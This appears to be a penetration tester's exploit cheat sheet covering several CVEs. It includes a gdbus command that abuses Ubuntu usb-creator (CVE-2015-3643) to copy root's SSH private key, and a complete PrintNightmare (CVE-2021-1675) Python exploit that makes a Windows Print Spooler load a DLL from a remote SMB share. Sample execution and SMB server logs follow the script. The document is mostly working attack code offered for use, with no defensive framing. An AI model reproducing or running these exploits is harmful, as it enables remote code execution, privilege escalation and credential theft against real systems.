Links

Privilege Escalation

Linux

CVE-2015-3643: usb-creator before 0.2.38.3ubuntu0.1 on Ubuntu 12.04 LTS, before 0.2.56.3ubuntu0.1 on Ubuntu 14.04 LTS, before 0.2.62ubuntu0.3 on Ubuntu 14.10, and before 0.2.67ubuntu0.1 on Ubuntu 15.04 allows local users to gain privileges by leveraging a missing call check_polkit for the KVMTest method.
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image <target file> <destination>
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/pwn true
CVE-2021-3493: Ubuntu OverlayFS Local Privesc.
  • Ubuntu 20.10
  • Ubuntu 20.04 LTS
  • Ubuntu 18.04 LTS
  • Ubuntu 16.04 LTS
  • Ubuntu 14.04 ESM

Windows

Weblogic

CVE-2020-14882: Oracle WebLogic Remote Code Execution
Affected versions: 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

Active Directory

PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service

#!/usr/bin/python3
from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.structure import Structure
import argparse
import sys
import time
import pathlib
#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
class DRIVER_INFO_2_BLOB(Structure):
structure = (
('cVersion','<L'),
('NameOffset', '<L'),
('EnvironmentOffset', '<L'),
('DriverPathOffset', '<L'),
('DataFileOffset', '<L'),
('ConfigFileOffset', '<L'),
)
def __init__(self, data = None):
Structure.__init__(self, data = data)
def fromString(self,data):
Structure.fromString(self, data)
self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le')
self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le')
self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le')
self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le')
self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le')
def connect(username, password, domain, lmhash, nthash, address, port):
binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
rpctransport = transport.DCERPCTransportFactory(binding)
rpctransport.set_dport(port)
rpctransport.setRemoteHost(address)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(username, password, domain, lmhash, nthash)
print("[*] Connecting to {0}".format(binding))
try:
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(rprn.MSRPC_UUID_RPRN)
except:
print("[-] Connection Failed")
sys.exit(1)
print("[+] Bind OK")
return dce
def getDrivers(dce, handle=NULL):
#get drivers
resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2)
data = b''.join(resp['pDrivers'])
#parse drivers
blob = DRIVER_INFO_2_BLOB()
blob.fromString(data)
#blob.dump()
return blob
def main(username, password, domain, lmhash, nthash, address, port, share):
#connect
dce = connect(username, password, domain, lmhash, nthash, address, port)
#handle = "\\\\{0}\x00".format(address)
handle = NULL
#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
try:
blob = getDrivers(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
except Exception as e:
print('[-] Failed to enumerate remote pDriverPath')
print(str(e))
sys.exit(1)
print("[+] pDriverPath Found {0}".format(pDriverPath))
#build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER()
container_info['Level'] = 2
container_info['DriverInfo']['tag'] = 2
container_info['DriverInfo']['Level2']['cVersion'] = 3
container_info['DriverInfo']['Level2']['pName'] = "1234\x00"
container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00"
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
filename = share.split("\\")[-1]
print("[*] Executing {0}".format(share))
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage0: {0}".format(resp['ErrorCode']))
for i in range(1, 30):
try:
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
if (resp['ErrorCode'] == 0):
print("[+] Exploit Completed")
sys.exit()
except Exception as e:
#print(e)
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Example;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\\\192.168.1.215\\smb\\addCube.dll'
""")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group = parser.add_argument_group('connection')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))[email protected])?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if options.target_ip is None:
options.target_ip = address
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
#re-run if stage0/stageX fails
print("[*] Try 1...")
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
time.sleep(10)
print("[*] Try 2...")
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
time.sleep(10)
print("[*] Try 3...")
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
(venv) C:\home\user\PrintNighmare\CVE-2021-1675> python CVE-2021-1675.py
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
(venv) C:\home\user\PrintNighmare\CVE-2021-1675>
----------------EXECUTION----------------------------------------
(venv) C:\home\user\PrintNighmare\CVE-2021-1675> python CVE-2021-1675.py acme.corp/[email protected] '\\10.0.200.8\dlls\addme.dll'
Password:
[*] Try 1...
[*] Connecting to ncacn_np:10.0.200.6[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\UNIDRV.DLL
[*] Executing \\10.0.200.8\dlls\addme.dll
-----------------SMB SERVER---------------------------------------
(venv) C:\home\user\PrintNighmare\DLLs> impacket-smbserver -smb2support dlls .
Impacket v0.9.24.dev1+20210630.100536.73b9466c - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.0.200.6,50157)
[*] AUTHENTICATE_MESSAGE (\,WIN-9N94NF2FA11)
[*] User WIN-9N94NF2FA11\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Closing down connection (10.0.200.6,50157)
[*] Remaining connections []
[*] Incoming connection (10.0.200.6,50158)
[*] AUTHENTICATE_MESSAGE (\,WIN-9N94NF2FA11)
[*] User WIN-9N94NF2FA11\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Closing down connection (10.0.200.6,50158)
[*] Remaining connections []
[*] Incoming connection (10.0.200.6,50159)
[*] AUTHENTICATE_MESSAGE (\,WIN-9N94NF2FA11)
[*] User WIN-9N94NF2FA11\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Closing down connection (10.0.200.6,50159)
[*] Remaining connections []